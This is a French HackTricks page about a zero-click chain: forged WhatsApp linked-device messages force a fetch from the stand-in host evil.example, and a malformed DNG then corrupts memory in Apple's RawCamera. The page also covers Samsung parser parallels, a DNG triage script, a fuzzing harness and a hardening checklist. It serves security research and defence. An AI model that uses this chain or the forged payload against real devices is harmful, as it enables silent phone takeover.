Zero-click Messaging → Image Parser Chains

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

TL;DR

  • Considérez les messaging app multi-device/companion protocols comme des canaux de contrôle à distance : si des champs de protocole sont supposés provenir d’appareils de confiance, ils peuvent toutefois être contrôlés par l’utilisateur et peuvent souvent être rejoués directement contre une victime pour charger du contenu arbitraire avec 0 user interaction.
  • Une fois qu’une application peut être contrainte à récupérer des médias non fiables, visez le shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) avec des fichiers malformés pour pivoter hors du sandbox.
  • Les bugs DNG affectant RawCamera et le parser Samsung discutés ici sont des exemples concrets, mais la technique complète est une feuille de route réutilisable pour enchaîner logic flaws → image parser memory corruption → full device compromise.

Remote content loading via WhatsApp linked-device commands

Récapitulatif de la surface d’attaque

L’architecture WhatsApp “linked devices” maintient le téléphone principal et chaque companion (desktop, tablet, secondary phone) synchronisés via des messages de protocole structurés et chiffrés. Chaque message encode :

  • Métadonnées de l’appareil (device ID, capabilities, feature flags).
  • Descripteurs d’action (e.g., sync chats, fetch thumbnails, render remote content).
  • Paramètres arbitraires tels que URIs, MIME hints, pagination keys, etc.

Sur les clients Apple, le handler qui traite ces paquets de contrôle linked-device faisait implicitement confiance au fait qu’un appairage valide avait déjà eu lieu, donc les champs à fort impact (e.g., resource_url, open_media, sync_snapshot) n’étaient que faiblement validés. Un message companion malveillant pouvait donc :

  1. Être routé vers n’importe quel compte identifié par son numéro de téléphone.
  2. Survivre à la pile de transport (Noise protocol + WhatsApp protobuf framing) parce que le récepteur n’a jamais vérifié que l’expéditeur était effectivement un appareil apparié.
  3. Atteindre le client iOS, où le chemin de code vulnérable déclenchait automatiquement une requête HTTP(S) en arrière-plan vers l’URL de l’attaquant et analysait la réponse dans une WebView/media renderer cachée.

Flux de travail pratique pour les auditeurs

  1. Capturer le trafic linked-device légitime. Attachez un débogueur ou un script Frida au client desktop/iOS et hookez le post-decryption handler (e.g., LinkedDevicesSyncHandler::processAction). Enregistrez les payloads protobuf décodés pour découvrir les types d’action et paramètres disponibles.
  2. Identifier les champs qui traversent les frontières de confiance. Toute action portant des paramètres http_url, thumbnail_uri, download_url ou render_html sans allow-list stricte est une primitive de contenu distant candidate.
  3. Forger une action malveillante. Réutilisez le schéma protobuf observé et modifiez uniquement les champs contrôlés par l’attaquant. Une vue JSON simplifiée de la structure logique pertinente est montrée ci-dessous (le transport réel est protobuf/Noise, mais les champs sémantiques correspondent) :
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
  1. Livrer à la victime. Rejouez le paquet conçu via le même service WhatsApp qui transmet normalement le trafic des appareils liés (par ex., en utilisant un client desktop modifié ou un Noise client personnalisé réutilisant les clés de votre compte d’attaquant). Parce que CVE-2025-55177 n’a pas réussi à lier les actions aux appareils authentifiés, le client iOS/macOS de la victime accepterait le message et récupérerait immédiatement l’URL de l’attaquant sans aucune UI.
  2. Instrumenter la récupération. Observez la requête HTTP(S) forcée et le moteur de rendu interne (WKWebView/ImageIO). À ce stade vous disposez d’une primitive de livraison web zero-click à l’intérieur de WhatsApp.

Exploiter des DNG auto-décodés contre RawCamera

Une fois que l’attaquant contrôle ce que WhatsApp charge, l’objectif suivant est de faire en sorte qu’iOS/macOS parse un fichier malveillant Digital Negative (DNG) avec le framework RawCamera. Toute URL <img>/CSS intégrée qui résout en .dng sera transmise au pipeline image du système, invoquant RawCamera même si WhatsApp lui-même n’a jamais géré explicitement les DNG.

Déclencher RawCamera depuis WhatsApp

  • Servir du HTML qui référence le DNG via plusieurs mécanismes (par ex., <img src="evil.dng">, CSS background-image: url('evil.dng'), ou des sources <picture>) pour couvrir différents chemins de rendu.
  • S’assurer du MIME correct (image/x-adobe-dng) et de petites previews afin que le loader ne renonce pas prématurément à cause d’heuristiques de taille.
  • Le media sandbox d’iOS va transférer le fichier en streaming vers RawCamera via CGImageSourceCreateWithURL, pour finalement atteindre le décodeur vulnérable.

Création de DNG provoquant une corruption mémoire (style CVE-2025-43300)

Le bug observé en 2025 était plus spécifique qu’un TIFF malformé générique : le DNG contenait des données d’image JPEG-Lossless dont le nombre de composants interne SOF3 n’était pas d’accord avec les métadonnées TIFF/DNG (SamplesPerPixel). En pratique, RawCamera pouvait dimensionner certains buffers à partir des champs TIFF externes puis faire confiance au flux JPEG-Lossless embarqué lors du décodage, entraînant l’écriture hors-borne corrigée dans iOS 18.6.2 / iPadOS 18.6.2 le 20 août 2025.

Cela donne aux auditeurs une règle de triage beaucoup plus précise que “mutate random tags”:

exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY

Si SamplesPerPixel et le nombre de composants de SOF3 divergent, vous êtes très proche du primitif exact discuté publiquement pour CVE-2025-43300. Les leviers adjacents typiques qui valent encore la peine d’être soumis au fuzzing une fois que vous avez le chemin d’analyse sont :

  • Tile/strip descriptors: Définissez TileByteCounts/StripByteCounts sur des valeurs réalistes mais augmentez TileOffsets pour pointer au-delà du tampon alloué.
  • Sub-IFD chains: Intégrez des images secondaires avec des ImageWidth/ImageLength et BitsPerSample contradictoires afin que RawCamera calcule un petit tampon tandis que les étapes ultérieures se fient à des dimensions contrôlées par l’attaquant.
  • Opcode metadata: Manipulez les entrées OpcodeList3 afin que le traitement par ligne s’effectue sur des indices choisis par l’attaquant.

Un harness de mutation basique pour traquer ce type de corruptions peut être construit autour de macOS, puisque le même code RawCamera est livré sur macOS/iOS/iPadOS:

#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done

Chaque plantage dans RawCamera vous fournit une nouvelle primitive. Le PoC publié a obtenu une lecture/écriture hors limites suffisamment fiable pour planter WhatsApp sur iPhone, iPad et Mac.

Building the 0-click chain

  1. Linked-device packet → force WhatsApp à récupérer https://evil.example/payload.html sans aucune interaction.
  2. Payload HTML → référence silencieusement evil.dng, garantissant que RawCamera est invoqué par la pile média de l’OS.
  3. Malicious DNG → abuse des tags spécialement conçus pour déclencher l’OOB de RawCamera et planter/prendre le contrôle du décodeur d’images.
  4. Post-corruption exploitation → ajouter des gadgets d’info-leak (p.ex., en abusant des metadata de heap prévisibles) et monter une chaîne ROP/JOP pour s’échapper du sandbox de WhatsApp et atteindre des contextes plus privilégiés.

Comme chaque étape est automatique, l’attaquant n’a besoin que du numéro de téléphone de la victime. Aucune notification, bannière ou invite n’est affichée sur l’appareil cible.

Recent Apple parser-chain patterns worth reusing

Cette chaîne WhatsApp → DNG → RawCamera correspond au même schéma observé dans des campagnes zero-click récentes d’Apple : trouver un alternate attachment wrapper qui atteint un parseur moins contraint, puis transformer en arme un format de fichier que l’OS prévisualise de manière proactive.

  • BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab a signalé des pièces jointes malveillantes PassKit contenant des images, et Apple a corrigé Wallet (CVE-2023-41061) ainsi que ImageIO (CVE-2023-41064). L’analyse ultérieure de Project Zero a montré pourquoi cela importe opérationnellement : l’attaquant n’avait pas seulement besoin d’un bug de parseur, mais aussi d’un conteneur qui déplaçait l’analyse d’images en dehors du chemin normal BlastDoor vers un autre processus. Lors de l’audit d’apps de messagerie, énumérez tous les types de pièces jointes qui déclenchent des prévisualisations en arrière-plan dans des daemons auxiliaires (.pkpass, fiches de contact, bundles d’autocollants, HTML inline, prévisualisations QuickLook), pas seulement les pièces jointes d’images évidentes.
  • TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): Kaspersky a montré qu’une pièce jointe iMessage malveillante exploitait l’instruction TrueType ADJUST non documentée et spécifique à Apple (CVE-2023-41990). La leçon pratique est que les polices sont des cousines des parseurs d’images pour le travail zero-click : les prévisualisations de texte enrichi, le font fallback et la génération de vignettes peuvent tous devenir des points d’entrée du parseur même quand l’app prétend ne supporter que des “documents” ou des “stickers”.

La question récurrente d’audit est donc : quels types de messages provoquent un parsing silencieux dans un processus autre que le renderer de chat évident ? C’est généralement là que la chaîne commence. Pour le triage d’échantillons et les vérifications de cohérence inter-domaines une fois que vous avez un fichier suspect, réutilisez this generic structural file-format detection page.

Samsung vendor image parser parallels

Le bulletin de Samsung pour CVE-2025-21043 a confirmé que leur pile propriétaire de parsing d’images (utilisée par Gallery, Messages, et aussi indirectement par WhatsApp) souffrait d’une écriture hors limites accessible via des médias non fiables. La méthodologie d’exploitation reflète la chaîne Apple :

  • Identifier un vecteur d’aperçu automatique (vignettes de chat, prévisualisations de notifications, share sheets) qui analyse le fichier de l’attaquant avec les bibliothèques libimagecodec/libOneUI_ImageDecoder de Samsung.
  • Diff des mises à jour des bibliothèques OEM ou fuzzifier les parseurs avec des fichiers RAW/DNG malformés jusqu’à observer des corruptions mémoire similaires au crash de RawCamera (écrasement des metadata du heap, contrôle des registres, etc.).
  • Distribuer le fichier forgé via n’importe quel canal qui charge déjà le contenu automatiquement (p.ex., le même linked-device primitive, les fetchers de prévisualisation WhatsApp, ou les prévisualisations de formes d’onde push-to-talk d’Android).

Une fois qu’une écriture OOB existe dans le parseur du vendor, la combiner avec le primitive d’auto-fetch de WhatsApp donne une autre chaîne zero-click sur les appareils Samsung.

Testing & hardening checklist

  • Protocol validation: Appliquer des allow-lists strictes pour chaque action linked-device. Les commandes compagnon qui demandent un fetch/render doivent prouver l’appairage de l’appareil (signature du payload) et l’URL doit correspondre à une allow-list ou à un blob signé.
  • Transport replay countermeasures: Lier chaque action à une clé par appareil et rejeter les paquets dont la clé de l’expéditeur est inconnue, même si la syntaxe protobuf est correcte.
  • Media pipeline restrictions: Les apps de haut niveau ne devraient autoriser que des types MIME approuvés et rejeter explicitement RAW/DNG sauf si la fonctionnalité est nécessaire.
  • Parser fuzzing regression tests: Conserver un corpus de fichiers RAW/DNG malformés et les exécuter contre les décodeurs RawCamera/vendor après chaque mise à jour.
  • Crash triage automation: Attacher des sanitizers DYLD_INSERT_LIBRARIES ou MTE sur les appareils de fuzz pour détecter des conditions OOB subtiles avant les attaquants.

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks